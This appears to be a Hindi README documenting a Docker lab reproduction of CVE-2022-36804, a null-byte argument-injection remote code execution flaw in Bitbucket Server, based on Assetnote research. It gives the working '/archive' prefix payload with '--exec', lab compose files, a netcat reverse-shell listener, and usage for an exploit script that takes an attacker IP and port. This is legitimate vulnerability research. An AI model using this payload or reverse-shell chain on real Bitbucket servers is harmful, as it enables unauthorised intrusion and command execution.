CVE-2022-36804 (Bitbucket RCE) का पूर्ण-श्रृंखला पुनरुत्पादन। इसमें एक Docker-आधारित प्रयोगशाला, नल-बाइट इंजेक्शन सत्यापन के लिए pspy64 निगरानी, और एक कस्टम Bash शोषण स्क्रिप्ट शामिल है। Assetnote अनुसंधान पर आधारित।
CVE-2022-36804 Atlassian Bitbucket सर्वर और डेटा सेंटर के REST API के भीतर एक उच्च/गंभीर आर्गुमेंट इंजेक्शन भेद्यता है।
जबकि आधिकारिक NVD नेशनल भेद्यता डेटाबेस आधार स्कोर आवश्यक पठन विशेषाधिकारों (PR:L) की धारणा पर 8.8 (उच्च) है, यह विश्लेषण इसे 9.8 (गंभीर) दोष (PR:N) मानता है। यदि किसी लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है—जो एक सामान्य कॉन्फ़िगरेशन है—तो शोषण वेक्टर पूरी तरह से प्री-ऑथेंटिकेटेड बन जाता है।
यह रिपॉजिटरी Assetnote द्वारा प्रकाशित तकनीकी शोध पर सीधे आधारित, शोषण के पूर्ण-श्रृंखला प्रयोगशाला पुनरुत्पादन का दस्तावेजीकरण करती है।
विश्लेषण में पर्यावरण ऑर्केस्ट्रेशन और सुरक्षा फ़िल्टर बाईपास से लेकर इंटरैक्टिव रिवर्स शेल प्राप्त करने तक के संक्रमण का विवरण दिया गया है। मूल खोज में उल्लिखित अनुसार, यह दोष रिमोट कमांड निष्पादन (RCE) की अनुमति देता है, जिसका शोषण प्री-ऑथेंटिकेशन पर किया जा सकता है यदि लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है।
यह भेद्यता जावा एप्लिकेशन रनटाइम और लिनक्स ऑपरेटिंग सिस्टम के बीच "सैनिटाइज़ेशन प्रतिबाधा असंगति" में निहित है।
जैसा कि Assetnote के शोध में उजागर किया गया है, Bitbucket Git कमांड बनाने और निष्पादित करने के लिए NuProcess लाइब्रेरी का उपयोग करता है। जब कोई उपयोगकर्ता /archive एंडपॉइंट पर prefix पैरामीटर प्रदान करता है, तो Bitbucket तर्क सूची को OS को पास करने से पहले नल कैरेक्टर (%00) को हटाने में विफल रहता है।
execve() कमांड को संसाधित करता है, तो यह स्ट्रिंग को %00 पर काट देता है। चूँकि NuProcess डेटा को इस प्रकार पास करता है, OS नल बाइट के बाद आने वाली हर चीज़ को एक बिल्कुल नए कमांड-लाइन तर्क के रूप में मानता है।--exec=... इंजेक्ट करके, एक हमलावर इच्छित --prefix फ़्लैग से बाहर निकल जाता है और git archive प्रक्रिया को एक मनमाना बाइनरी निष्पादित करने के लिए मजबूर करता है, जिससे रिमोट कमांड निष्पादन (RCE) होता है।
यह समझने के लिए कि शोषण एक साधारण URL पैरामीटर से OS-स्तरीय कमांड में कैसे संक्रमण करता है, हमें पेलोड की संरचना को विच्छेदित करना होगा और "एरे शिफ्ट" का निरीक्षण करना होगा।
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| घटक | उद्देश्य | तकनीकी भूमिका |
|---|---|---|
prefix=x | आवश्यकता | git archive को एक प्रीफ़िक्स चाहिए; x एक प्लेसहोल्डर के रूप में कार्य करता है। |
%00 | चाकू | नल-बाइट। जावा इसे पास करता है, लेकिन C-आधारित लिनक्स कर्नेल यहाँ स्ट्रिंग समाप्त करता है। |
--exec=... | RCE ट्रिगर | खतरनाक फ़्लैग। बाहरी प्रोग्राम निष्पादित करने के लिए Git की अंतर्निहित सुविधा का दुरुपयोग करता है। |
touch ... | कार्रवाई | निष्पादित की जाने वाली कमांड। RCE सत्यापित करने के लिए सुरक्षित PoC। |
--remote=... | कूड़ेदान | Bitbucket द्वारा जोड़े गए कमिट ID को एक वैध तर्क के रूप में उपभोग करता है, यह सुनिश्चित करता है कि कमांड बिना सिंटैक्स त्रुटियों के स्वच्छ रूप से निष्पादित हो। |
यह भेद्यता के मूल को दर्शाता है: कैसे डेटा (एक निर्देशिका प्रीफ़िक्स) को निर्देश (एक कमांड फ़्लैग) में रूपांतरित किया जाता है।
जावा का निष्पादन संदर्भ (प्रारंभिक अवस्था):
जावा तीसरे तर्क के रूप में एक एकल, लंबी स्ट्रिंग देखता है।
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
लिनक्स कर्नेल निष्पादन (शोषित अवस्था):
कर्नेल का execve() सिस्कॉल प्रत्येक नल-बाइट (\0) पर स्ट्रिंग को विभाजित करता है, इंजेक्ट किए गए फ़्लैग को प्रक्रिया के तर्क सरणी में उनके स्वयं के स्टैंडअलोन पदों पर स्थानांतरित करता है।
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
यथार्थवादी हमले की सतह का अनुकरण करने के लिए, प्रयोगशाला पर्यावरण एक Docker ब्रिज नेटवर्क (hacking_net) के भीतर पृथक दो-कंटेनर आर्किटेक्चर का उपयोग करता है। यह सेटअप सुनिश्चित करता है कि शोषण और निगरानी होस्ट सिस्टम को प्रभावित किए बिना नियंत्रित वातावरण में की जा सके।
पीड़ित नोड: Atlassian Bitbucket सर्वर संस्करण 7.17.1 चलाता है। कंटेनर को जानबूझकर bitbucket-victim नाम दिया गया है। यह Apache Tomcat के RFC 7230 प्रवर्तन के साथ अनुपालन सुनिश्चित करने के लिए किए गए एक महत्वपूर्ण डिज़ाइन परिशोधन को दर्शाता है। अंडरस्कोर के बजाय हाइफ़न का उपयोग करके, पर्यावरण पेलोड निष्पादन के दौरान होने वाली "अमान्य कैरेक्टर" 400 त्रुटियों से बचता है—यह एक प्रमुख तकनीकी बाधा है जिसे शोध चरण के दौरान पहचाना और हल किया गया।
हमलावर नोड: एक अनुरूपित Kali Linux रोलिंग इमेज। मानक इमेज के विपरीत, यह नोड इस शोषण श्रृंखला के लिए आवश्यक विशिष्ट टूलसेट के साथ पूर्व-प्रावधानित है: रिपॉजिटरी हेरफेर के लिए git, पेलोड वितरण के लिए curl, और रिवर्स शेल कैप्चर करने के लिए netcat-traditional।
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
यदि आपने ऊपर दिए गए docker-compose.yml का उपयोग करके पर्यावरण को पहले ही प्रावधानित कर लिया है, तो आप भेद्यता को सत्यापित करने और सेकंडों में रिवर्स शेल प्राप्त करने के लिए शामिल exploit.sh स्क्रिप्ट का उपयोग कर सकते हैं।
1. लिसनर तैयार करें
अपने Kali हमलावर नोड (या होस्ट मशीन) पर, शेल को कैप्चर करने के लिए एक netcat लिसनर शुरू करें:
nc.traditional -lvnp 4444
2. शोषण निष्पादित करें
लक्ष्य Bitbucket IP, प्रोजेक्ट/रेपो नाम और अपने लिसनर विवरण प्रदान करके स्क्रिप्ट चलाएँ:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>